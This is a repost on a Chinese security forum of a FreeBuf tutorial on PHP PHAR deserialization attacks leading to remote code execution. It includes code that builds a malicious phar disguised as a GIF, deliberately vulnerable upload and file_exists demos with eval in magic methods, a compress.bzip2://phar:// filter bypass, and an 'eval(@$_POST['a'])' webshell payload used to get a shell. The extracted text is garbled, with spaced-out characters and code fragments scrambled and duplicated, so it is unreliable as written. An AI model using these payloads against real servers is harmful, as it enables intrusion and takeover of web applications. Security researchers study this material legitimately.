搜索

[14258] 2019-06-22_PHAR反序列化拓展操作总结

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2019-06-22_PHAR反序列化拓展操作总结 P H A R 反 序 列 化 拓 展 操 作 总 结 c c k   F r e e B u f   2 0 1 9 - 0 6 - 2 2 前 言 前 言 近 些 阵 子 反 序 列 化 漏 洞 横 行 ， 看 了 几 篇 文 章 ， 整 个 漏 洞 发 现 过 程 是 非 常 有 意 思 的 ， 所 以 希 望 总 结 下 来 ， 分 享 给 大 家 一 起 研 究 讨 论 ， 如 有 不 足 还 请 多 多 指 正 。 近 些 阵 子 反 序 列 化 漏 洞 横 行 ， 看 了 几 篇 文 章 ， 整 个 漏 洞 发 现 过 程 是 非 常 有 意 思 的 ， 所 以 希 望 总 结 下 来 ， 分 享 给 大 家 一 起 研 究 讨 论 ， 如 有 不 足 还 请 多 多 指 正 。 正 文 正 文 p h a r   R C E 2 0 1 8 年 H I T C O N 上 ， b a b y   c a k e 这 一 题 ， 涉 及 到 了 今 年 B l a c k H a t 大 会 上 的 S a m   T h o m a s 分 享 的 F i l e   O p e r a t i o n   I n d u c e d   U n s e r i a l i z a t i o n   v i a   t h e 「 p h a r : / / 」 S t r e a m   W r a p p e r 这 个 议 题 ， 具 体 可 以 看 这 里 【 传 送 门 】 。 它 的 主 要 内 容 是 ， 通 过 p h a r : / / 协 议 对 一 个 p h a r 文 件 进 行 文 件 操 作 ， 如 f i l e _ g e t _ c o n t e n t s ， 就 可 以 触 发 反 序 列 化 ， 从 而 达 成 R C E 的 效 果 。 因 为 在 p h a r . c # L 6 1 8 处 ， 其 调 用 了   p h p _ v a r _ u n s e r i a l i z e ： 因 此 可 以 构 造 一 个 特 殊 的 p h a r 包 ， 使 得 代 码 能 够 被 反 序 列 化 ， 从 而 构 造 一 个 P O P 链 。 这 一 部 分 已 经 常 见 了 ， 在 使 用 p h a r : / / 协 议 读 取 文 件 时 ， 文 件 会 被 解 析 成 p h a r （ h t t p : / / p h p . n e t / m a n u a l / z h / i n t r o . p h a r . p h p ） 解 析 过 程 中 会 触 发 p h p _ v a r _ u n s e r i a l i z e ( ) 函 数 对 m e t a - d a t a 的 操 作 ， 造 成 反 序 列 化 。 延 伸 延 伸 知 道 创 宇   4 0 4   实 验 室 的 研 究 员   s e a i i   更 为 我 们 指 出 了 所 有 文 件 函 数 均 可 使 用 （ h t t p s : / / p a p e r . s e e b u g . o r g / 6 8 0 / ） ： 在   z s x   师 傅 的 文 章 又 通 过   p h p _ s t r e a m _ o p e n _ w r a p p e r   方 法 的 调 用 函 数 中 ， 探 索 出 一 些 新 的 可 用 函 数 ！ e x i f g d h a s h f i l e   /   u r l s t a n d a r d z i p B z i p   /   G z i p 如 果   p h a r : / / 不 能 出 现 在 头 几 个 字 符 怎 么 办 ？ 验 证 验 证 代 码 代 码 i f   ( ! p h p _ v a r _ u n s e r i a l i z e ( m e t a d a t a ,   & p ,   p   +   z i p _ m e t a d a t a _ l e n ,   & v a r _ h a s h ) )   { f i l e a t i m e   /   f i l e c t i m e   /   f i l e m t i m e s t a t   /   f i l e i n o d e   /   f i l e o w n e r   /   f i l e g r o u p   /   f i l e p e r m s f i l e   /   f i l e _ g e t _ c o n t e n t s   /   r e a d f i l e   /   ` f o p e n ` ` f i l e _ e x i s t s   /   i s _ d i r   /   i s _ e x e c u t a b l e   /   i s _ f i l e   /   i s _ l i n k   /   i s _ r e a d a b l e   /   i s _ w r i t e a b l e   /   i s _ w r i t a b l e p a r s e _ i n i _ f i l e u n l i n k                 c o p y e x i f _ t h u m b n a i l e x i f _ i m a g e t y p e i m a g e l o a d f o n t i m a g e c r e a t e f r o m * * * h a s h _ h m a c _ f i l e h a s h _ f i l e h a s h _ u p d a t e _ f i l e m d 5 _ f i l e s h a 1 _ f i l e g e t _ m e t a _ t a g s g e t _ h e a d e r s g e t i m a g e s i z e g e t i m a g e s i z e f r o m s t r i n g $ z i p   =   n e w   Z i p A r c h i v e ( ) ; $ r e s   =   $ z i p - > o p e n ( ' c . z i p ' ) ; $ z i p - > e x t r a c t T o ( ' p h a r : / / t e s t . p h a r / t e s t ' ) ; d e m o . p h p ? f i l e n a m e = c o m p r e s s . b z i p 2 : / / p h a r : / / u p l o a d _ f i l e / s h e l l . g i f / a < ? p h p e r r o r _ r e p o r t i n g ( 0 ) ; $ f i l e n a m e = $ _ G E T [ ' f i l e n a m e ' ] ; i f   ( p r e g _ m a t c h ( " / b p h a r b / A " ,   $ f i l e n a m e ) )   {         e c h o   " s t o p   h a c k i n g ! n " ; } e l s e   {         c l a s s   c o m r a r e {                 p u b l i c   $ h a h a   =   ' h a h a ' ;
p o c   验 证 验 证 这 个   p o c   同 时 绕 过 了   g i f   限 制 和   p h a r   开 头 限 制 ， 同 样 我 们 可 以   g e t s h e l l   成 功 ！ 测 试 测 试 首 先 我 们 自 己 生 成 一 个   p h a r   文 件 来 观 察 它 的 结 构 ， p h p   内 置 了 一 个   P h a r   类 来 处 理 相 关 操 作 ！ 操 作 前 请 注 意 ： 要 将 要 将   p h p . i n i   中 的 中 的   p h a r . r e a d o n l y   选 项 设 置 为 选 项 设 置 为   O f f ， 否 则 无 法 生 成 ， 否 则 无 法 生 成   p h a r   文 件 。 文 件 。 运 行 后 会 生 成 一 个   p h a r   文 件 在 当 前 目 录 我 们 观 察 下 它 的 文 件 结 构 可 以 明 显 的 看 到   m e t a - d a t a   是 以 序 列 化 的 形 式 存 储 的 。 有 序 列 化 数 据 必 然 会 有 反 序 列 化 操 作 ， p h p   大 部 分 的 文 件 系 统 函 数 在 通 过   p h a r : / / 伪 协 议 解 析   p h a r   文 件 时 ， 都 会 将   m e t a - d a t a   进 行 反 序 列 化 ！ 漏 洞   p h p                 f u n c t i o n   _ _ w a k e u p ( ) {                         e v a l ( $ t h i s - > h a h a ) ;                 }         }         i m a g e c r e a t e f r o m j p e g ( $ _ G E T [ ' f i l e n a m e ' ] ) ; } ? > < ? p h p c l a s s   c o m r a r e {         p u b l i c   $ h a h a   =   ' c o m r a r e z z z z z ' ; } @ u n l i n k ( ' s h e l l . p h a r ' ) ; $ p h a r   =   n e w   P h a r ( " s h e l l . p h a r " ) ;   / / 后 缀 名 必 须 为   p h a r $ p h a r - > s t a r t B u f f e r i n g ( ) ; $ p h a r   - >   s e t S t u b ( ' G I F 8 9 a ' . ' < ? p h p   _ _ H A L T _ C O M P I L E R ( ) ; ? > ' ) ; $ o b j e c t   =   n e w   c o m r a r e ( ) ; / / $ o b j e c t   - > h a h a =   ' e v a l ( @ $ _ P O S T [ ' a ' ] ) ; ' ; $ o b j e c t   - > h a h a =   ' p h p i n f o ( ) ; ' ; $ p h a r - > s e t M e t a d a t a ( $ o b j e c t ) ;   / / 将 自 定 义 的   m e t a - d a t a   存 入   m a n i f e s t $ p h a r - > a d d F r o m S t r i n g ( " a " ,   " a " ) ;   / / 添 加 要 压 缩 的 文 件 / / 签 名 自 动 计 算 $ p h a r - > s t o p B u f f e r i n g ( ) ; ? > < ? p h p c l a s s   T e s t O b j e c t   { } $ p h a r   =   n e w   P h a r ( " p h a r . p h a r " ) ;   / / 后 缀 名 必 须 为   p h a r $ p h a r - > s t a r t B u f f e r i n g ( ) ; $ p h a r - > s e t S t u b ( " < ? p h p   _ _ H A L T _ C O M P I L E R ( ) ;   ? > " ) ;   / / 设 置   s t u b $ o   =   n e w   T e s t O b j e c t ( ) ; $ o   - >   d a t a = ' c c k ' ; $ p h a r - > s e t M e t a d a t a ( $ o ) ;   / / 将 自 定 义 的   m e t a - d a t a   存 入   m a n i f e s t $ p h a r - > a d d F r o m S t r i n g ( " t e s t . t x t " ,   " t e s t " ) ;   / / 添 加 要 压 缩 的 文 件 / / 签 名 自 动 计 算 $ p h a r - > s t o p B u f f e r i n g ( ) ; ? > < ? p h p c l a s s   T e s t O b j e c t {         f u n c t i o n   _ _ d e s t r u c t ( ) {                 e c h o   $ t h i s   - >   d a t a ;       / /   T O D O :   I m p l e m e n t   _ _ d e s t r u c t ( )   m e t h o d .         }
将   p h a r   伪 造 成 其 他 格 式 的 文 件 在 前 面 分 析   p h a r   的 文 件 结 构 时 可 能 会 注 意 到 ， p h p   识 别   p h a r   文 件 是 通 过 其 文 件 头 的   s t u b ， 更 确 切 一 点 来 说 是 _ _ H A L T _ C O M P I L E R ( ) ; ? > 这 段 代 码 ， 对 前 面 的 内 容 或 者 后 缀 名 是 没 有 要 求 的 。 那 么 我 们 就 可 以 通 过 添 加 任 意 的 文 件 头 + 修 改 后 缀 名 的 方 式 将   p h a r   文 件 伪 装 成 其 他 格 式 的 文 件 。 伪 造   g i f   文 件 代 码 ： f i l e   p h a r . p h a r   如 下 这 种 方 法 可 以 用 于 上 传 检 测 ！ 利 用 利 用 在 别 人 复 现 的 基 础 上 实 现 了   R C E 条 件 条 件 p h a r   文 件 要 能 够 上 传 到 服 务 器 端 。 如   f i l e _ e x i s t s ( ) ， f o p e n ( ) ， f i l e _ g e t _ c o n t e n t s ( ) ， f i l e ( )   等 文 件 操 作 的 函 数 要 有 可 用 的 魔 术 方 法 作 为 「 跳 板 」 。 文 件 操 作 函 数 的 参 数 可 控 ， 且 : 、 / 、 p h a r   等 特 殊 字 符 没 有 被 过 滤 。 环 境 文 件 环 境 文 件 u p l o a d _ f i l e . p h p ， 后 端 检 测 文 件 上 传 ， 文 件 类 型 是 否 为   g i f ， 文 件 后 缀 名 是 否 为   g i f u p l o a d _ f i l e . h t m l   文 件 上 传 表 单 f i l e _ u n . p h p   存 在   f i l e _ e x i s t s ( ) ， 并 且 存 在 _ _ d e s t r u c t ( ) 文 件 内 容 文 件 内 容 u p l o a d _ f i l e . p h p         } } i n c l u d e ( ' p h a r : / / p h a r . p h a r ' ) ; ? > < ? p h p         c l a s s   T e s t O b j e c t   {         }         $ p h a r   =   n e w   P h a r ( ' p h a r . p h a r ' ) ;         $ p h a r   - >   s t a r t B u f f e r i n g ( ) ;         $ p h a r   - >   s e t S t u b ( ' G I F 8 9 a ' . ' < ? p h p   _ _ H A L T _ C O M P I L E R ( ) ; ? > ' ) ;       / / 设 置   s t u b ， 增 加   g i f   文 件 头         $ p h a r   - > a d d F r o m S t r i n g ( ' t e s t . t x t ' , ' t e s t ' ) ;     / / 添 加 要 压 缩 的 文 件         $ o b j e c t   =   n e w   T e s t O b j e c t ( ) ;         $ o b j e c t   - >   d a t a   =   ' c c k ' ;         $ p h a r   - >   s e t M e t a d a t a ( $ o b j e c t ) ;     / / 将 自 定 义   m e t a - d a t a   存 入   m a n i f e s t         $ p h a r   - >   s t o p B u f f e r i n g ( ) ; ? > < ? p h p i f   ( ( $ _ F I L E S [ " f i l e " ] [ " t y p e " ] = = " i m a g e / g i f " ) & & ( s u b s t r ( $ _ F I L E S [ " f i l e " ] [ " n a m e " ] ,   s t r r p o s ( $ _ F I L E S [ " f i l e " ] [ " n a m e " ] ,   ' . ' ) + 1 ) ) = =   ' g i f ' )   {         e c h o   " U p l o a d :   "   .   $ _ F I L E S [ " f i l e " ] [ " n a m e " ] ;         e c h o   " T y p e :   "   .   $ _ F I L E S [ " f i l e " ] [ " t y p e " ] ;         e c h o   " T e m p   f i l e :   "   .   $ _ F I L E S [ " f i l e " ] [ " t m p _ n a m e " ] ;         i f   ( f i l e _ e x i s t s ( " u p l o a d _ f i l e / "   .   $ _ F I L E S [ " f i l e " ] [ " n a m e " ] ) )             {             e c h o   $ _ F I L E S [ " f i l e " ] [ " n a m e " ]   .   "   a l r e a d y   e x i s t s .   " ;
u p l o a d _ f i l e . h t m l f i l e _ u n . p h p 实 现 流 程 实 现 流 程 首 先 是 根 据   f i l e _ u n . p h p   写 一 个 生 成   p h a r   的   p h p   文 件 ， 当 然 需 要 绕 过   g i f ， 所 以 需 要 加   G I F 8 9 a ， 然 后 我 们 访 问 这 个   p h p   文 件 后 ， 生 成 了   p h a r . p h a r ， 修 改 后 缀 为   g i f ， 上 传 到 服 务 器 ， 然 后 利 用 f i l e _ e x i s t s ， 使 用   p h a r : / / 执 行 代 码 构 造 代 码 构 造 代 码 首 先 用   e v a l . p h p   生 成 执 行   p h p i n f o   的 文 件 访 问   e v a l . p h p ， 会 在 当 前 目 录 生 成   p h a r . p h a r ， 然 后 修 改 后 缀   g i f 上 传 成 功 ， 获 得 上 传 目 录 然 后 利 用   f i l e _ u n . p h p 。 p a y l o a d : f i l e n a m e = p h a r : / / u p l o a d _ f i l e / p h a r . g i f             e c h o   $ _ F I L E S [ " f i l e " ] [ " n a m e " ]   .   "   a l r e a d y   e x i s t s .   " ;             }         e l s e             {             m o v e _ u p l o a d e d _ f i l e ( $ _ F I L E S [ " f i l e " ] [ " t m p _ n a m e " ] ,             " u p l o a d _ f i l e / "   . $ _ F I L E S [ " f i l e " ] [ " n a m e " ] ) ;             e c h o   " S t o r e d   i n :   "   .   " u p l o a d _ f i l e / "   .   $ _ F I L E S [ " f i l e " ] [ " n a m e " ] ;             }         } e l s e     {     e c h o   " I n v a l i d   f i l e , y o u   c a n   o n l y   u p l o a d   g i f " ;     } < b o d y > < f o r m   a c t i o n = " h t t p : / / l o c a l h o s t / u p l o a d _ f i l e . p h p "   m e t h o d = " p o s t "   e n c t y p e = " m u l t i p a r t / f o r m - d a t a " >         < i n p u t   t y p e = " f i l e "   n a m e = " f i l e "   / >         < i n p u t   t y p e = " s u b m i t "   n a m e = " U p l o a d "   / > < / f o r m > < / b o d y > < ? p h p $ f i l e n a m e = $ _ G E T [ ' f i l e n a m e ' ] ; c l a s s   A n y C l a s s {         v a r   $ o u t p u t   =   ' e c h o   " c c k " ; ' ;         f u n c t i o n   _ _ d e s t r u c t ( ) {                 e v a l ( $ t h i s   - >   o u t p u t ) ;         } } f i l e _ e x i s t s ( $ f i l e n a m e ) ; < ? p h p c l a s s   A n y C l a s s {         v a r   $ o u t p u t   =   ' e c h o   " c c k " ; ' ;         f u n c t i o n   _ _ d e s t r u c t ( ) {                 e v a l ( $ t h i s   - >   o u t p u t ) ;         } } $ p h a r   =   n e w   P h a r ( ' p h a r . p h a r ' ) ; $ p h a r   - >   s t o p B u f f e r i n g ( ) ; $ p h a r   - >   s e t S t u b ( ' G I F 8 9 a ' . ' < ? p h p   _ _ H A L T _ C O M P I L E R ( ) ; ? > ' ) ; $ p h a r   - >   a d d F r o m S t r i n g ( ' t e s t . t x t ' , ' t e s t ' ) ; $ o b j e c t   =   n e w   A n y C l a s s ( ) ; $ o b j e c t   - >   o u t p u t =   ' p h p i n f o ( ) ; ' ; $ p h a r   - >   s e t M e t a d a t a ( $ o b j e c t ) ; $ p h a r   - >   s t o p B u f f e r i n g ( ) ;
执 行   p h p i n f o   成 功 ！ R C E 既 然 代 码 能 执 行 成 功 ， 又 存 在 命 令 执 行 函 数 ， 我 们 就 可 以 实 现   R C E   获 得   s h e l l !   我 们 尝 试 上 传 一 句 话 木 马 ， 修 改 后 的 文 件 如 下 ： 同 样 的 步 骤 上 传 ， 尝 试 连 接 ， 成 功   g e t s h e l l ！ 参 考 参 考 h t t p s : / / p a p e r . s e e b u g . o r g / 6 8 0 / * 本 文 原 创 作 者 ： 本 文 原 创 作 者 ： c c k ， 本 文 属 ， 本 文 属 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 精 彩 推 荐 精 彩 推 荐 < ? p h p c l a s s   A n y C l a s s {         v a r   $ o u t p u t   =   ' e c h o   " c c k " ; ' ;         f u n c t i o n   _ _ d e s t r u c t ( ) {                 e v a l ( $ t h i s   - >   o u t p u t ) ;         } } $ p h a r   =   n e w   P h a r ( ' p h a r . p h a r ' ) ; $ p h a r   - >   s t o p B u f f e r i n g ( ) ; $ p h a r   - >   s e t S t u b ( ' G I F 8 9 a ' . ' < ? p h p   _ _ H A L T _ C O M P I L E R ( ) ; ? > ' ) ; $ p h a r   - >   a d d F r o m S t r i n g ( ' t e s t . t x t ' , ' t e s t ' ) ; $ o b j e c t   =   n e w   A n y C l a s s ( ) ; $ o b j e c t   - >   o u t p u t =   ' e v a l ( @ $ _ P O S T [ ' a ' ] ) ; ' ; / / $ o b j e c t   - >   o u t p u t =   ' p h p i n f o ( ) ; ' ; $ p h a r   - >   s e t M e t a d a t a ( $ o b j e c t ) ; $ p h a r   - >   s t o p B u f f e r i n g ( ) ; ? >
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理